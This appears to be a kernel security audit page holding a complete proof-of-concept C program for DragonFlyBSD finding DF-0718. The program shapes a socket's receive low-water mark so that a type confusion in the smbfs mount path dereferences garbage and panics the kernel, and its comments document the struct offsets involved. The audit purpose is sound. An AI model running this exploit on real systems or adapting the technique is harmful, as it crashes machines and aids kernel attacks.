DragonFlyBSD Kernel Audit
DF-0718 / panic.c
← back to finding ↓ download raw
/*
 * DF-0718 panic trigger — shapes a socket so the type-confusion lands VBLK(3)
 * at the v_type offset inside the (mis-cast) socket, forcing vn_todev() to
 * return a garbage cdev_t and SMB_GETDEV() to wild-deref -> kernel panic.
 *
 * Layout (confirmed via gdb on /boot/kernel/kernel.debug):
 *   struct vnode:   v_type @ 0xe8 (232), v_rdev @ 0xf8 (248)
 *   struct socket:  so_rcv (signalsockbuf) @ 136
 *     so_rcv.ssb_lowat @ 96   -> absolute socket offset 232 == vnode v_type
 *     so_rcv.ssb_mbmax @ 112  -> absolute socket offset 248 == vnode v_rdev
 *
 * setsockopt(SOL_SOCKET, SO_RCVLOWAT, 3) makes ssb_lowat=3 => the kernel
 * reads the socket's ssb_lowat as v_type and sees VBLK(3). vn_todev() then:
 *     if (vp->v_type != VBLK && vp->v_type != VCHR) return NULL;   // SKIPPED
 *     KKASSERT(vp->v_rdev != NULL);   // v_rdev=ssb_mbmax (~26KB) -> passes
 *     return vp->v_rdev;              // returns ~26KB as cdev_t
 * smb_dev2share then: SMB_CHECKMINOR(dev) -> sdp = SMB_GETDEV(dev) =
 *     ((struct smb_dev*)(dev)->si_drv1)   // derefs ~26KB as pointer -> PAGE
 *                                        //   FAULT PANIC
 *
 * Run as root after `kldload smbfs`. On the BUGGY kernel this panics; on the
 * FIXED kernel (DTYPE_VNODE check) it returns EINVAL without touching f_data.
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <vfs/smbfs/smbfs.h>
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

static const char mountpoint[] = "/mnt/df0718";

int
main(void)
{
	struct smbfs_args m;
	int s, rv, val;

	mkdir(mountpoint, 0755);

	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
		err(1, "socket");

	/* Shape the socket so the type-confusion reads VBLK(3) at the v_type
	 * offset (ssb_lowat). */
	val = 3;	/* VBLK == 3 */
	if (setsockopt(s, SOL_SOCKET, SO_RCVLOWAT, &val, sizeof(val)) < 0)
		err(1, "setsockopt SO_RCVLOWAT=3");
	printf("[+] socket %d: SO_RCVLOWAT set to %d (VBLK) -> lands at vnode v_type offset\n",
	       s, val);
	printf("[*] so_rcv.ssb_mbmax (~26KB, non-NULL) will be read as v_rdev\n");
	printf("[*] vn_todev() returns ssb_mbmax as garbage cdev_t\n");
	printf("[*] SMB_GETDEV(garbage)->si_drv1 will wild-deref -> PANIC\n");
	printf("[*] issuing mount(SMBFS) with args.dev = %d ...\n", s);

	memset(&m, 0, sizeof(m));
	m.version = SMBFS_VERSION;
	m.dev = s;
	strlcpy(m.mount_point, mountpoint, sizeof(m.mount_point));
	m.uid = m.gid = 0;
	m.file_mode = 0644;
	m.dir_mode = 0755;

	errno = 0;
	rv = mount(SMBFS_VFSNAME, m.mount_point, 0, &m);
	/* Should NOT reach here on buggy kernel (panics in smb_dev2share). */
	printf("[!] mount returned rv=%d errno=%d (%s) — kernel survived (FIXED kernel?)\n",
	       rv, errno, strerror(errno));
	return (rv == 0) ? 0 : 1;
}